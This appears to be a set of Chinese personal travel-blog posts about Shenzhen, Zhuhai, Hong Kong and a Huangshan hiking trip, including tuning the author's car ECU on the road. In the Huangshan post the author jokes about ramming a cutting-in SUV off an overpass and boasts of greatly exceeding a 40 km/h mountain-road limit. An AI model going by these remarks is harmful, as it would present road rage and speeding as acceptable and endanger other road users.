按钮(震动反馈)转向灯的设定在激烈驾驶的时候偶发有遇到按下去但是没有震动,且较小的转向灯提示音量会让驾驶员怀疑有没有开启转向灯(至少对于我来说会怀疑),但是如果日常开的话似乎只要 20 分钟左右的时间便能很快适应。
然后好像新版的 Model Y 又把转向灯杆给加回来了,非常抽象
此外作为汽油车车主还发现一个有意思的情况:Model 3 的动能回收不可关闭,且只要松开了油门后面的刹车灯就会亮起来,什么强制不允许 Coasting 行为(入弯要么给油,要么刹车,绝对不会 Coasting)
未来如果这辆车二手价格能到 13W CNY 附近的话,似乎买来用来娱乐和代步还真是个不错的选择。
要不是有本地人介绍,可能深圳之行就去世界之窗了。
另一个深圳的目的地就是欢乐海岸,属于下午-傍晚放松散步的好地方:

岸边有许多海鸥和收费拍照服务。

旁边能看到深圳湾大桥,对面就是香港。

这个时候要是有个皮划艇该多好
回味完了深圳,我们这就来到了珠海!
虽然坐船只要 1hr 就能到,但是一到了珠海就有一种回到了三线小县城的感觉,当然也有可能和所处的香洲区有关:

在上海调研路线时发现深圳到珠海有船可以坐,这不得一定来体验一下?

坐船全程 1hr,速度大概在 50KM/h 左右,途中部分地方会彻底搜不到信号,且有一定概率可以搜到来自香港的信号。
在去珠海前和 Allen 吃饭的时候有聊到对于珠海的看法,和很多人一样,Allen 对于珠海的评价也是——慢节奏,我又问过什么是慢节奏,但是没有得到明确的回答。
最近也有和前 PingCAP 同事聊到不同的城市的居住体验,也有聊到云南是「慢节奏」城市,同样,我也问了一样的问题:「什么是慢节奏」,得到的回复是「那边的民宿的老板,还有饭店的老板,还有本地的居民,和他们聊天都感觉得到他们比较平静,状态也很好」。
细想一下,可能慢节奏是指——没有过度的经济追求的欲望带来的心态不平衡以及平和的生活?
如果这样想的话,那确实,北京/上海等城市更大的开销(主要是房产,北京的话可能饮食也是一个大头)带来的许多(尤其是非上海本地有房有车的)人对于收入上的追求以及心态的变化。
比如说在上海作为程序员相关工作 3 年没个 40K/mo 可能根本在朋友面前抬不起头来,并暗自想自己未来也要 40K/mo
比如说看到同事家里人均两辆车,一辆电车代步,一辆 Civic Type-R 作为玩具,并暗自想自己未来也要搞两辆车,而且都得是沪牌!
对比之下如果不在一线城市,而在一个消费不高的城市,可能 10K/mo 不到的月薪已经足以支撑每月较为舒适的生活了。
当然,这个还是得看自己想要的是什么,以及自己想要的是不是真的自己想要的,还是外界给灌输的,或者是由于生活的城市的房价给压的。
如何获得一个平和的心态呢?多少的现金才会让自己满意和安心呢?哪个城市/国家才是最适合自己需求的呢?
我没有答案。

在上海我是一个经常骑车的人(无论是公路自行车还是新国飙电动自行车),但是出来旅行的时候似乎会习惯性忽略身边的骑行工具,导致在城市之间穿梭的时候靠腿走路,不仅行动速慢,而且还走不了多远。
这次来到了珠海之后学会了使用共享单车的技术,开始把身上的装备(装了相机和电脑的背包和三脚架)放在共享单车的车筐内。
行动速度一下子就 x5 了!
由于住在香洲区,情侣中路附近,所以骑车沿着海边溜达成为了一个必备项目,发现了周边被称为「日月贝」的建筑,一路猛骑。

期间还发现有直升机游览项目,价格 400CNY 附近,考虑了一下性价比和天气决定放弃了(虽然感觉还是有点小遗憾)

由于珠海作为一个从深圳到澳门的中转站,只停留了很短的时间,至此珠海的主要行程已经结束。
从短暂的停留来看珠海和深圳是两个风格迥异的城市,即使这俩城市只相隔了 1hr 的车程,可能有点像是上海和嘉兴的关系,珠海整体消费水平更低换来的是感觉明显更差/脏的居住环境,但是环境整体情况又会和经济水平挂钩,除非像澳门/香港一样引入重罚(即便如此也改变不了太多「破旧」的整体风格)。
呆惯了上海这样的城市之后就会有带着上海的眼光去评判其他城市的布局(当然,不得不说,杭州/苏州的交通情况是真的糟糕)和概要,从这个视角来看深圳和上海体验是差不多的(甚至路上的车基本都会使用转向灯),所以体感除了电驴多了许多以及冬季气候更加舒服以外没有感受到太大差异,而珠海就是印象中的老城区的感觉了,从深圳到珠海后还得适应适应。
那么,我们即将在最后一站——澳门见!
]]>是啊,沒想到這一過就是 5 年了
5 年後的最近又一次得以有空前往,考慮這次經濟狀況和時間窗口不像大學時那麼拮据,便決定多花一些時間嘗試一窺整個大灣區的狀態。
見聞和認知會改變一個人對於事物的理解,以及旅行時心態的變化,我本身是一個很討厭拍照打卡和跟團遊的人,因爲認爲這並不是旅行,而是一場被安排好的定向徒步和消費,不僅不能增加對於個人的見識並改變自己的固有認知,還會讓精心策劃這些文案的人賺的盆滿鉢滿,是一個單輸的結局。
本次行程從上海出發,直飛深圳,之後抵達珠海前往澳門,後折返回深圳前往香港,歷時 N 天。
由於需要記錄的內容較多,本次「新大灣區遊記」將會分爲多篇文章記錄,列表如下:
和往常的文章類似,本文不會按照流水帳記錄行程,而是會挑個人覺得有意思的點進行記錄。
這次行程對我印象最深的便是簽證了,5 年前的文章中「雖然由於計劃原因在到達香港的當天就直接返回大陸了」很大一部分原因其實就是因爲——沒錢,當時拖着行李箱走到香港的旅遊區被 700 HKD 一晚的破舊酒店直接勸退,體驗可太差了。
加上考慮到當時通行證簽註從香港回到大陸之後無法立即獲得新的簽註(無法第二天再次前往),所以就草草結束了香港之行。
這一次前往前原定計劃是頂着高價在香港住正常酒店一個晚上,不過到了深圳之後才意識到目前已經可以使用 24 小時自助簽註機,從香港回來之後的當晚即可獲得新的簽註用於第二天前往,這個消息應該是整個行程中最大的好消息,意味着可以繼續保持住在相對低價和高質量的深圳酒店,同時保持行李放在酒店,只用輕裝上陣(雖然其實也不是很輕)即可。
不過有意思的是可能因爲不是深圳戶口,在酒店附近的自助簽註機上得到的是團隊旅遊簽,雖然實際在口岸通關的時候使用起來和個人簽註沒有任何區別。
而對於深圳居民而言似乎可以辦理特別的簽註可以隨時往返香港,非常神奇。
對比之下澳門回來之後似乎還是會有冷靜期,不能像香港這樣無限續杯。(也許因爲許多人去澳門都是奔着賭博去的?
羅湖口岸對比五年前其實差異不是很大,不過令我疑惑的是廣九直通車的橋似乎被封起來了,可能因爲「高速鐵路」開放了之後就不再需要這一絛路線了?
2024 年 7 月 5 日,因广州东站往返香港西九龙站的 G 字头列车已实质上取代普速广九直通车服务,中华人民共和国国务院批准关闭广州和东莞的内地与香港跨境普速列车(城际直通车)铁路口岸,海关总署 7 月 31 日正式公告关闭上述普速铁路口岸[6]。
2025 年 1 月 17 日,港铁宣布从当日起撤销红磡站的过境限制区(包括 5、6 号月台及车站大堂部分区域等)[7]。

這是 5 年前

這是最近
我儘量保證了一樣的視角和焦距,所以對比着看是不是有一種時間流逝的感覺。
感覺真應該拍點延時攝影的

這裏的橋可以明顯看到已經被封住了

不過依然可以看到對面的 MTR 東鐵線列車
我們再來回憶一下去往香港的標識,在 5 年前看到的是這樣的:

而現在,是這樣的

我依然記得在 5 年前涉世未深的我第一次看到這個「往香港」牌子時的激動和興奮,感覺跨越了深圳河就會到達一個魅美麗的新世界,一個自由,平等,法制的新區域…
當然,這些很大程度上來源於認知不足和眼界不夠寬廣時的幻想,雖然可能從實際情況來說,那個時候的香港確實對比如今的香港會更加貼近「國際金融中心」的名聲?
5 年過去了,這 5 年發生了諸多事件,例如:
也一步步改變了香港在我心中的地位和看法,印象中 5 年前第一次去香港的時候滿懷期待要在當地開卡設立戶頭,但是到了現在由於這一系列變故加上從更多維度對於香港的瞭解,開立賬戶也只是成爲了「解決某些實際需求」中的一環。
或者說,可能我更加務實了?我不知道…
5 年前的計劃中其實就有「彩虹」,但是當年時間過於緊張未能成行,這一次又來到了「彩虹」,決定一探究竟。

我們還是來看看這裏的背景是什麼:
彩虹邨(英語:Choi Hung Estate)是香港早期興建之公共屋邨之一,獲稱為「香港最美屋邨」[2],佔地逾 5.1 公頃[3],位於九龍黃大仙區牛池灣,由香港屋宇建設委員會發展,巴馬丹拿建築及工程師有限公司設計[4],融入包豪斯風格元素[5]。因為設計獨特,彩虹邨榮獲了香港首個建築獎項——1965 年香港建築師學會年度最高榮譽「銀牌獎」[6]。現時由香港房屋委員會管理。
2024 年 10 月,房委會向黃大仙區議會公布重建計劃方案,首期預計於 2028 至 2029 年率先拆卸碧海樓、金碧樓、丹鳳樓、街市,以及聖公會兩間已遷出的小學校舍,原有位置預計於 2035 至 2036 年完成重建後將會安置下一期(錦雲樓、紅萼樓、金漢樓及白雪樓)的居民。最後一期(翠瓊樓、金華樓、綠晶樓、 紫薇樓及多層停車場)預計將會於 2042 至 2043 年拆卸,原有居民屆時將會獲安置到第二期的新樓宇,整個重建計劃預計於 2048 至 2049 年完成 。[10]
還好來的快,要是再拖 5 年就沒了。
由於對新加坡的房產結構有一些瞭解,所以看到了 Wiki 之後就立即明白這個很像新加坡的 HDB(政府组屋)


和網圖不同,實際看彩虹邨的樓已經掉色,靠近內部的看的時候有一種非常強烈的年代感(可惜沒有拍照),是那種可以立即將你拉回 20 年前的感覺,水泥的過道,金屬的大樓門,以及若有若無的炒菜的香味。

這裏的拍攝地其實是一個多層停車場的樓頂,下樓之後也去額外關注了一下這裏的停車價格,照片如下:

從這個時租價格來看,似乎和之前在 PingCAP 外灘 SOHO 的停車費有得一拼
和大陸對比那肯定是很貴,雖然實際上也是很貴(尤其是考慮到汽油價格),這麼一看也不難理解爲啥那邊的車感覺人均改裝了,例如這個改了輪轂的 Fit:

還有這個 BMW

以及這個 GR86

雖然身在上海,但是很少去上海迪士尼,從個人的角度來看,我很討厭上海迪士尼,感覺是一個過度割韭菜的地方,並且對大家的行爲感到不解。
同樣作爲用來放鬆的樂園,如果在上海迪士尼持有普通門票,則是接近 500CNY 的價格,且似乎從 2022 年開始上海迪士尼常年是旅遊高峰日,從下地鐵開始便會經歷接近 1hr 的入園排隊,入園後使用 Disney 的 App 會發現幾乎所有的項目都是 40+min 的排隊,基本如果不購買「快通」的話就會是走路+排隊一整天,總共可能只能玩 3 個項目的節奏,體驗非常的糟糕。
2016 年 6 月 16 日,上海迪士尼正式开园,仅运营一年就实现盈利,接待了超过 1100 万名游客,远远超过迪士尼集团的预期,这也是迪士尼历史上第一个开园首年即实现财务收支平衡的主题乐园。
运营三年后,于 2019 年,上海迪士尼全年营收达到 70 亿元,成为迪士尼集团全球最赚钱的主题乐园。
當然,這個也是市場決定的,如果需求量沒有如此大的超過供給量的話,也不會有這樣的局面,雖然,我個人把這個解讀爲——韭菜足夠多,都搶着被收割。
於是這一次來香港便要來看看香港的迪士尼情況是如何的,能不能有所改觀。
香港迪士尼樂園開園時面積僅 28 公頃。經過第一輪和第二輪擴建計劃後,面積已達 35 公頃[2],香港迪士尼仍在進行第三輪擴建[3]。香港迪士尼樂園目前是面積最小的迪士尼樂園。
從門票價格的角度來看,由於可以從「閒魚」上買門票,獲得了實際 500CNY 的門票,此外還購買了一個 259CNY 的餐券(可以獲得園內標定 160HKD 以內的午餐和晚餐加一個小吃券),從價格來看,甚至似乎和上海迪士尼持平了,但是這是香港啊。
所以在上海迪士尼能體驗到香港的物價,算不算某種一舉兩得呢?(
要前往香港迪士尼似乎只有兩種途徑——港鐵或者開車(這一點也和上海迪士尼一樣)

迪士尼綫原稱「竹篙灣鐵路綫」,建築成本原本為 26 億元,最後減至 20 億元[4]。本綫工程於 2002 年底動工興建[5],是為配合香港迪士尼樂園而建;2005 年 4 月竣工,欣澳站於 2005 年 6 月 1 日啟用,全綫於 2005 年 8 月 1 日正式通車;全長 3.5 公里,行車時間 5 分鐘,是港鐵系統最短的重鐵路綫。本綫只有 3 列列車,是港鐵系統中列車數量最少的路綫,列車停泊和維修與機場快綫、東涌綫共用小蠔灣車廠,是港鐵系統中唯一不設中途站以及車廠設於路綫範圍以外的本地重鐵路綫。本綫是原地鐵系統以及整個港鐵系統目前唯一完全位於新界區內以及只在單一行政分區(荃灣區)行走的重鐵路綫;也是兩鐵合併前,地鐵最後一條通車的路綫。

下了港鐵之後就能看到和上海迪士尼類似的大門和長長的路,經過短暫的檢票之後就可以看到…迪士尼的內部環線火車站。

繞過火車站之後就可以看到標誌性的「城堡」了。

不得不說香港的迪士尼不愧是面積最小的迪士尼,「城堡」整體體積甚至感覺不如上海任意常見的商品房。
和上海迪士尼一樣,香港迪士尼也有一個自己的套殼瀏覽器 App,打開 App 之後可以發現許多項目的排隊時間都在 15min 左右,進門的右手邊就是「明日世界」區域,對應上海迪士尼的 e-Tron (創:光速戰記),但是查閱 Wiki 就可以發現上海的「創:光速戰記」反而是個特例。
飛越太空山初次於 1975 年在華特迪士尼世界度假區,於 1977 年在迪士尼樂園度假區,於 1983 年在東京迪士尼樂園,於 1995 年在巴黎迪士尼樂園,及於 2005 年在香港迪士尼樂園開始營運。2016 年开业的上海迪士尼樂園的明日世界不设有「飛越太空山」(Space Mountain)景点,取而代之的是以《創:光速戰記》(Tron)為主題的半室內骑行雲霄飛車「創極速光輪」。
從整體排隊時間來看,香港迪士尼要有絕對的好評,尤其是對比上海迪士尼而言,當然,這也是供需關係所決定的產物。
整體上來說,在香港迪士尼處處可以看到上海迪士尼的影子,又處處能感受到和上海迪士尼的不同,但是由於供需關係等原因,你可以以接近上海的價格獲得體驗明顯更好的遊園感受——畢竟來迪士尼玩是來找樂子的,而不是來罰站或者給自己錢包開個大窟窿的,你說不是麼?

來香港的一個重要的 KR 就是銀行開戶,5 年前就有這個計劃,但是由於各種原因沒有成功,這一次準備的開戶的賬戶有 ZA Bank,BOC HK 和 HSBC。
在出行前發現這三個賬戶都已經可以線上開戶,只需要 GPS 定位在香港境內並上傳出入境記錄即可(好像 ZA Bank 會要求連接上香港本地 Wifi)。
在香港迪士尼休息的時間便摸出手機開始線上開戶,成功提交了 ZA Bank 和 BOC HK 的賬戶,HSBC 賬戶不知道爲何提交失敗,於是決定放棄。
回到上海之後也是依次接到了開戶通過的通知並陸續收到了實體卡,從實際體驗上來看有以下初步結論:
香港西九龍站(英語:Hong Kong West Kowloon Station[4][5][6]),規劃及建設期間稱為西九龍總站,通常簡稱為西九龍站或西九站[7][8],是位於香港西九龍油尖旺區的鐵路車站,本站為廣深港高速鐵路的南端起訖站,鄰近西九文化區。其佔地 11 公頃,耗資 122 億 3 千萬港元興建,樓面總面積達 43 萬平方公尺[9]。站內實施一地兩檢,設有內地口岸區,由中國內地派駐執法人員執行中國內地法律[10][11]。
香港西九龍站的鐵路被香港稱爲「高速鐵路」,此前我不以爲然,感覺不就是普通的動車組列車麼,高速在哪兒。
本次出行除了有一次沒有趕上福田-西九龍的火車導致從落馬洲通關乘 MTR 以外均乘坐「高速鐵路」往返。
從價格上說,接近 70CNY 的售價(從福田-香港西九龍)的確不算很便宜,但是對比港鐵大約 50CNY 的價格來說算得上是符合市場定價。
但是,從福田-西九龍的鐵路只要 15 分鐘,而如果乘坐港鐵的話則是 50 分鐘。

從福田站開始就一路全程在隧道中(有點北京機場快線的感覺),15 分鐘後便到達了香港西九龍站,幾乎橫跨整個九龍半島。

和要繞路一圈的港鐵比起來那真是 Blazing Fast,再搭配上可以通過自助簽註機隨時簽註的策略來看,晚上回深圳住,白天在香港玩似乎會越來越稱爲高性價比和更好體驗的香港旅遊主流方案。
一點 Fun Facts:
現時在內地口岸區連接車站 WiFi 可直接免費上網,服務由香港網絡供應商提供,無需提供實名登記電話號碼或微信賬號[53]。同時,旅客在內地口岸區使用行動通訊服務(包括使用數據訪問網絡),仍接收香港的網絡訊號,香港流動電訊營辦商的用戶不會被收取漫遊費用,且不實行內地的網絡內容審查[54],非香港本地電信運營商的用戶則是按照在香港漫遊的正常情況提供服務並收取漫遊費用。
5 年前初次前往香港的時候還額外自備了港幣,這一次前往感覺幾乎所有需要付費的地方都覆蓋了支付寶支付(澳門也是,支付寶甚至可以直接乘坐澳巴),隨着支付寶的滲透,港幣現金的需求越來越少。
更加減弱了香港作爲境外旅遊地區的超脫感,整體的旅遊體驗更加無縫地接近在大陸的日常生活體驗。
沒趕上「高速鐵路」的那一次不得不從落馬洲通關,到了「旺角東」下車後印象最深的便是這個:

根據《僱傭條例》,僱主如故意及無合理辯解而不依時支付 工資給僱員,或不支付欠薪的利息,可被勞工處檢控,一經定罪,拖欠工資最高可被罰款 35 萬元及監禁 3 年,不支付利息最高可被罰款一萬元。
立即就想到了許多大陸公司隨意裁員不依法給補償然後然後一副:「你去仲裁我好了」的態度了。

此外還有一些關於亂丟垃圾的罰款:

這就不得不想到經常大陸的街頭,以及高速上,例如:

來源:https://x.com/tualatrix/status/1882687325240795345
可能是有這些法律的存在,香港整體街邊環境給我一種破舊但是乾淨的感覺,類似也許上海不使用轉向燈變道會被扣分罰款,所以上海馬路上幾乎所有車變道都會使用轉向燈。


對比之下蘇州就像蠻荒之地一樣,應急車道隨便走,實線隨便壓,我是不理解這但凡裝個攝像頭開始罰款都可以在一天內回本的事情爲什麼不做?要麼執法者和地方官員本身也是這麼開車的?
也許中國大陸也應該引入這些法律,這樣所有人的生活都會更好?
由於時間規劃的原因,這一次在香港境內去了三個地方:
從 MTR「金鐘」站下車穿過立法會大樓就到了維多利亞港邊,舒適的廣東氣候讓我這樣一個常住上海的人完全沒法理解這是冬天該有的樣子。

溫暖甚至有些刺眼的陽光,沒有呼嘯的寒風和由於超低溼度帶來的大量靜電,藍色的"海岸",這似乎應該才是「南方城市」該有的樣子。
走到岸邊時已經有些走累,坐在岸邊休息,看着旁邊來來往往的人羣,一瞬將思緒帶回前灘休閒公園,這不就是前灘休閒公園的樣子麼? 背後的辦公樓,中午有員工下樓散步聊天(雖然是粵語),面前來來往往的船隻,一個和諧的下午的畫面…

除了這面前的水不是泥色以外

回到上文對於務實的討論,坐在岸邊休息的我在想——如果現在給我一個機會選擇香港和上海,那我應該如何選呢?
兩邊都有較高的房價,一邊有更加暖和舒適的冬天(這個確實是優點),但是上海作爲內地城市有着更加低的物價水平,在同等收入的情況下似乎會有更好的生活質量,但是內地城市的缺點也很明顯(例如監管,執法,食品安全等)。
我得不到答案,或許這個問題也可以被修改爲——如果是新加坡和上海選哪個,或者瑞典和上海選哪個。
各有利弊,做不到既要又要,想明白了這點,再看看週遭這溫暖的環境,內心還是有些遺憾,但是也對自己的需求和想法有了一點點更深的認識了。

看着岸邊的信標還有圍欄旁邊的遊客,心中各種關鍵詞不斷跳動——法制,高物價,現代化,溫暖的氣候,更差的居住條件,寬鬆的外匯管制,被大陸不斷滲透的法律…
可能真要爲未來做出選擇也得在香港多旅居一段時間,現在也僅僅是內心的幻想…
然後鬧鐘響了,將我從幻想帶回現實,我終究只是個「訪港遊客」,是時候離開了,再不走就趕不上回上海的飛機了…
從西九龍乘車回到福田的路上,我內心還在回味幾個小時前在維多利亞港的遐想,直到列車進入內地區域之後發到手機上的短信告知今晚 2030 起飛前往上海的飛機將延遲到 2315 起飛之後,思緒便瞬間收回。

好你個金鵬航空!

再見香港!
]]>从 PingCAP 离职后的这两年虽然处于失业状态(甚至还要每个月自费缴纳 2K+ CNY 的上海灵活就业),但是每天依然有许多琐事缠绕,虽然时间上获得了自由,但是精神上始终处于较为紧绷的状态,每天在家从 0800 起床后便在电脑前工作(注意:这里工作不是指上班)/学习到 2300 才休息,少有彻底放松的时间和想法,也是被经常吐槽为啥时间自由了还不放松放松出门转转,或许可以获得一些新的思路。
这不,在一个合适的契机下,我终于决定丢下工作几天,出门看看,看看屏幕以外的世界。
这一次的黄山之旅从上海出发,途径杭州,并在和大学室友一起(再次)游览了西湖并在杭州停留了一晚后从杭州出发到达黄山脚下住宿,并于第二天正式登山,如果整理时间线的话便是:
可能由于太久没有户外运动,整体的行程细腻度也随着时间的推移逐渐变得粗糙,到了最后一天由于小腿+膝盖过于劳累部分操作已经开始走形了,照片的拍摄和感悟的记录也变得有些粗糙。
不过问题不大,让我们按照时间顺序开启这次旅行吧!

一路上中规中矩,加满了 98 号汽油的 FK7 挂着 ACC 在沪昆高速上悠闲巡航,期间路过著名服务区「嘉兴」后停车休息放水。
下午到达了杭州之后便拉上前一天 0200 才睡觉的 Keshane Chen 游西湖。

杭州/西湖其实已经来过多次,不过过去几次来的时候不是热死(某个夏天),就是冻死(某个雨雪交加的冬天),在这种合适的气温下到达的还是唯一一次。

水光潋滟晴方好,山色空蒙雨亦奇。
到达时正直日落,便举起相机,拍了不少照片(这一天所有照片都是用 TTArtisan 50MM F0.95 拍摄)

西湖的景很让人放松,看着太阳缓缓落下,周边漫步的人群,和车速快的感觉可以随时创死人的观光车,那个下午应该是最近两年来放松程度的一个极小值,不再去想为啥某个指标没法达到预期,不再想到接下来该为什么参数优化,也没有随时可能被 @ 的紧绷感,只有我自己,和这西湖(当然,还有那可以随时创死人的观光车)。
随着天色继续变暗,也沿着西湖边走了不下 5km 之后,正好看到一个游船码头,考虑腿已经有点走累了,便是乘船游西湖的时间了,面对 50CNY/人 的船票,放在之前可能我会犹豫不少,但是想在机会成本远大于这船票成本之后,便义无反顾开冲了。

50MM F0.95 的镜头在船上这种极暗环境下依然可以在 2000 以内的 ISO 下提供较快的快门速度,夜间手持拍摄也可以轻松获得低噪点成像效果,夜之眼(虽然说的是 Leica 那款)不是浪得虚名。(当然,如果你没对上焦,那就是另一回事了)

下船之后便继续往北,路过了湖滨银泰in77搓了一顿吃饭皇帝大之后便继续开始逛街,期间路过一家 Sony 店,利用自带 Sony 机身的优势把各种感兴趣的镜头都套了个遍,种草了几个镜头,也拔草了不少镜头。

一天的游玩结束,便是回到酒店开始处理一些相对比较紧急的工作内容,并为第二天的游玩准备。
这一天可以浓缩为——爆震不断的调车记录
一早(1030+)杭州出发便开始冲向黄山,杭州的高架设计很糟糕,杭州的交通情况也很糟糕,期间在下匝道时候差点被 SUV 直接往右挤上墙,闪了灯之后 SUV 便开始打着左转向灯继续右转挤我 🤬 要不是考虑(我是出来旅游的|我的车有改装|这是杭州可能交警会和稀泥|我的车左前没有旧伤)我一定地板油把它顶下高架(
犹豫在杭州没有什么机会加油,在高速上距离目的地还有 180+ KM 的时候我的车已经剩余不到一半的油了,便路过一个服务区加油,看到只有 92/95 的选择,便只能选择了 95,想着这段路也就是巡航,涉及不到高负载场景,辛烷值低一点应该影响不大。

但是看到「本站支持反向加油」,以及加完油之后加油的工作人员还帮我擦了一下后视镜之后就开始感觉事情可能不太妙。
2024-12-08 更新:搜索了一下发现「反向加油」似乎指的是加油管足够长,可以不用区分加油口位置加油,而非我想象的油可以卖给油站。
果然,开出服务区上路之后 5KM 不到,我的 Knock Control 数值就从 60% 不到快速爬升到了 90%+,爆震传感器在 5 分钟内就检测到了接近 50 个爆震。

由于爆震集中在 1,2 缸,且之前在上海即使用 98 的油在巡航的时候也有发现容易爆震的情况,当时的猜测是进气岐管供气不均匀或者喷油嘴有积碳之类的导致,便在下一个服务区下了高速,用 Hondata 将 ECU 还原原厂程序继续观察。

换成原厂程序之后再上路,虽然爆震传感器显示没有爆震了,但是 Knock Control 爬升到最高 125% (真就「只要我 IGN 足够推迟,爆震就追不上我」呗?)
路上想了一下犹豫 1,2 缸的爆震导致整车动力下降其实很不划算,不如给 1,2 缸额外修正一下让 4 个缸负载能均匀一些。
于是又在下个服务区下高速,写回之前的程序,并给 1,2 缸额外加浓喷油,并推后点火提前角。

就这么一路调调改改,到达黄山脚下——汤口镇的时候已经到了傍晚。

计划中是到了黄山脚下后可以去「翡翠谷」看看的,这么一路耽误了之后只能作罢,简单吃了顿烤肉之后发现附近有几条省道看上去路况不错,于是开车去溜了溜。
<这里没有视频和照片,因为我在限速 40 的山路上开到了 *** KM/h>

在有了调整后的程序之后犹豫在山路上基本都是全油门冲刺,反而没有遇到太多新的爆震,更加进一步加强了我对于喷油嘴积碳猜测的可能性,由于喷油嘴有积碳导致轻负载(比如高速定速巡航,低喷油量)的时候某几个缸喷油雾化不好导致空燃比偏稀,而之前爆震问题没有这么多可能因为是加的 98 号抗爆震性能非常好,所以没有这么明显。
更绝的是,冲完回来发现南门换乘中心有个中石化,而且有 98 号汽油可以加 😇
由于酒店门口免费停车,车就丢在了酒店,并在早上坐酒店提供的面包车前往车站。
黄山如果你要爬山,那几乎一定坐官方的大巴到半山腰的索道入口,然后才能选择是爬山还是索道上山。
当然,也有看到过一些野路子的人可以绕过大巴直接走路到索道入口的

参考许多人的做法,这里我的选择是通过云谷寺(后山)上,前山下的模式。

由于对自己体力和接下来的自驾有充足的信心,这里上下山全部选择索道,大巴到了云谷寺索道时候便是索道上山。

随着海拔逐渐升高,山上的雾也越来越大,等到了索道站的上端点的时候,已经几乎没有任何视野了。

当时心想:完了,这还看个锤子,这么大的雾应该这两天都这样的
于是到了山上之后就开始沿着为数不多的两条小路走,穿过了蘑菇亭走到了始信峰。

到了始信峰山顶的时候,视野是这样的。

用 Racechrono 看 GPS 信息是这样的

这么大的雾看个锤子!
但是想着来都来了,(啥都看不到的)照也拍了,那就继续走咯?于是便沿着为数不多的路继续前行
这里我需要引用一张地图方便读者理解行程:

地图来源:https://you.ctrip.com/travels/120061/3928111.html
从始信峰往下走了一点之后,云突然散开了,并保持了接近一整天。

云雾散开之后,整个人精神抖擞,也对接下来的旅程充满了信心,接下来就是愉快的黄山徒步之旅。

这张图片拍摄于上面地图的「黑虎松」和「始信峰」之间,是观测「梦笔生花」的最佳地点。

用小红书的话来说就是——这里非常出片。只要用长焦段+大光圈,可以拍出很不错的压缩感。

此地也可以看到始信峰山顶的人们(200MM 显得有些焦距不足),此时照片中可以看到有大量的落灰,猜猜看是谁没有在雾中拍摄之后把镜头 UV 镜给擦干净?

稍作停留后继续往下便看到了正在修正的北海宾馆,从 https://www.hstd.com/media/news_detail.html?c=7&id=3320 可以看到是 「北海宾馆环境整治改造项目室外管网开挖及新建电缆沟工程」

在此地买了一份 10 元 3 个非常难吃的热狗之后便继续上山,去往猴子观海方向。
期间:
「喂,好像线上有个环境有点问题,你在哪儿」 「黄山上面」 「那你看看处理一下? 」 「好,等我开电脑」

在到达猴子观海前的一个观景平台上,看到了一个形状非常独特的石头,你说它像什么呢?

在云雾的效果下,远处的山变得格外好看,让我们来看看带上 Lightroom 的 Dehaze 之后的效果

ƒ/6.3 1/250 46mm ISO100
等到达猴子观海的观景台的时候,雾又非常巧合的出现了,可以看到很多人在雾中不知道在拍些什么,同时占据着有利地形

在雾散开的瞬间可以拍到「猴子」
我就很纳闷了,黄山上怎么这么多奇怪形状的石头

好不容易有个空档人离开了,我倒是要看看这个上面风景有多好!

怎么说呢,脚滑了人就没了,拍了一段 POV 参考如下:
从差点摔死的猴子观海观景台下来之后便到达了当晚要入住的「西海饭店」。
西海饭店于1987年由黄山风景区管委会和香港新利酒店(集团)公司合作兴建,经营21年,已超过设计使用年限,且当时没有设置消防喷淋系统,存在严重的安全隐患,经规划,建设,环保等部门的严格审核,批准西海饭店拆除后在原址重建。

在酒店丢下一些东西之后便继续上路往西海大峡谷方向摸索,不过由于云雾持续变浓,这里并未拍到什么非常好看的照片.

从山上可以看到西海大峡谷小火车轨道

绕了一圈发现雾越来越大之后便开始往回了,在酒店登记入住的时候听前台说丹霞峰一般可以用来看日落,虽然当时山上起着较浓的雾,但是看到天色还比较早,本着「来都来了」的想法便决定爬一波丹霞峰之后再回饭店。

图为爬丹霞峰 1/3 的位置拍摄西海饭店
黄山上松鼠很多,且基本都不怎么怕人(当然,这里是指看到人不会疯狂逃跑并不是指可以摸到)

爬丹霞峰的路上几乎一路无人,到了山顶之后才发现这里聚集了一小撮人尝试在浓雾的情况下「看日落」。

由于雾很大,几乎什么都看不到,但可以想象到的(或者从其他人的分享来看)在没有雾的情况下应该是很美,不过很可惜,直到日落,也全部云雾覆盖。

日落后温度开始快速下降,便开始一路冲刺下山(此处由于丹霞峰下山楼梯非常陡峭),冲刺下山对于膝盖和小腿控制力有非常大的考验。
回到酒店之后本来打算吃在某 App 上看到的「猴轻松」套餐(价格只要 50CNY 不到),但是到了酒店之后发现只有「自助餐」和「点菜」可以选,点菜的价格如下:

想了一下决定换为 180CNY 的自助餐了

考虑到黄山的运输能力,这个价位感觉尚能接受,且味道是真的不错(也有可能因为爬了一天的山基本没怎么正经吃过东西)。
西海饭店可能由于建设时间比较早,有个比较大的 Bug——空调只有中央空调,考虑到这次基本是秋冬季节,房间内的空调只有热风和不出风两个选择,再加上是在山上,所以晚上只有热+干或者干两个选择,体验有点小差(当然,除了空调这一岔以外,其余的体验还是对得起这 1100+CNY 的售价的)。

在休息前,我们来一起看看黄山的一些介绍吧,从 https://zh.wikipedia.org/zh-sg/%E9%BB%84%E5%B1%B1 中我们可以看到:
黄山位于中国安徽省南部黄山市境内,南北长约40公里,东西宽约30公里,山脉面积1200平方公里,核心景区面积约160.6平方公里,主体以花岗岩构成,最高处莲花峰,海拔1864.8米。
黄山1982年入选第一批国家重点风景名胜区;1986年黄山被评选为中国十大风景名胜之一,且是中国十大风景名胜中唯一的山岳风景区;1990年12月黄山风景名胜区作为一项文化与自然双重遗产被联合国教科文组织列入世界遗产名录;2004年2月入选世界地质公园。2015年被世界自然保护联盟列为首批最佳管理自然保护地绿色名录。
那么,什么是「国家级风景名胜区」呢?根据 https://zh.wikipedia.org/wiki/%E5%9B%BD%E5%AE%B6%E7%BA%A7%E9%A3%8E%E6%99%AF%E5%90%8D%E8%83%9C%E5%8C%BA 可以看到:
中华人民共和国的风景名胜区,根据其《风景名胜区条例》,是指具有观赏、文化或者科学价值,自然景观、人文景观比较集中,环境优美,可供人们游览或者进行科学、文化活动的区域。
从百度百科中我们可以知道,黄山的「景区级别」是「AAAAA级(世界地质公园)」,要了解这么多 A 代表什么,我们需要知道这些 A 是怎么来的
根据 https://zh.wikipedia.org/zh-sg/%E5%9B%BD%E5%AE%B65A%E7%BA%A7%E6%97%85%E6%B8%B8%E6%99%AF%E5%8C%BA 中我们知道:
